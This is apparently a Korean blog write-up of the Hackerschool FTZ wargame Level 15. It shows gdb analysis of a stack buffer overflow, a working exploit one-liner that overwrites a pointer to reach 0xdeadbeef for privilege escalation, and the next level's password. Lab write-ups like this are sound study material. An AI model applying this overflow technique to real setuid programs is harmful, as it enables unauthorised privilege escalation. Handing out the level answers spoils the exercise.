System Hacking

[해커스쿨FTZ] Level15

BIGFROG 2020. 1. 6. 17:09

level14와 다른점은 int *check로 선언되어 있다는 것

 

main+27 : 버퍼 56바이트 할당 

 

b *main+31 ->fgets

 

main+39에서 "ebp-16이 가리키는 값"를 eax 주소에 넣고, (mov이므로)

"eax가 가리키는 값"을 0xdeadbeef와 비교한다.

 

 

ebp-16 : 0xbffff6c8 value:0xbfff000a

ebp-16이 가리키는 곳? 0xbfff000a value:0

eax : 0xbfff000a value:0(바뀐거)

 

esp : 0xbffff6a0 부터 문자열 A가 쌓인다.

 

x/12wx $ebp-20을 보면,(A문자열 *40을 넣은 상황)

ebp-16인 곳에서 0xbfff000a를 값으로 가진다.

 

x/12wx main 명령으로 0xdeadbeef가 들어있는 곳의 주소를 알 수 있다.

 

ebp-16이 가리키는 곳을 이 주소로 덮어씌우면 된다.

 

0x80483e4 value:0xdeadbeef

 

내가 돌리면 다른 사람들이랑 다른 주소가 나옴,,

원래 나타날 주소는 

0x80484b2 <main+32> : 0xdeadbeef임

 

공격코드는

(python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme

 

0xdeadbeef가 데이터 안에 있으므로 이 주소로 코팅해주면 권한 상승 성공.

 

주소가 왜 다른지는 모르겠다. 원래 정답이랑 206바이트나 차이남.

파일명을 attackme로 바꿔서 실행한 경우에는

0xdeadbeef가 0x804842c<main+64>에 위치한다.

원래 나타날 주소인 0x80484b2와는 134바이트(0x86바이트)차이남.

 

*gdb로 돌릴 때랑 프로그램을 그냥 돌릴 때랑 버퍼 주소가 다르다!

printf("buf address : %x\n",&buf);

소스코드를 추가했을 때,

그냥 실행시켜서 얻은 버퍼의 시작주소  : bffff290

gdb로 돌려서 얻은 버퍼의 시작주소 : bfffe3a0

 

 

*프로그램 이름의 길이가 버퍼 주소에 영향을 준다!

 

프로그램 복사

$cp attackme ./tmp/attackme

 

 

 

level 16 password : "about to cause mass"

 

 

 

 

'System Hacking' 카테고리의 다른 글

[해커스쿨FTZ] Level17  (0) 2020.01.06
[해커스쿨FTZ] Level16  (0) 2020.01.06
[해커스쿨FTZ] Level14  (0) 2020.01.06
[해커스쿨FTZ] Level13  (0) 2020.01.06
[pwnable.kr] coin1  (0) 2019.10.01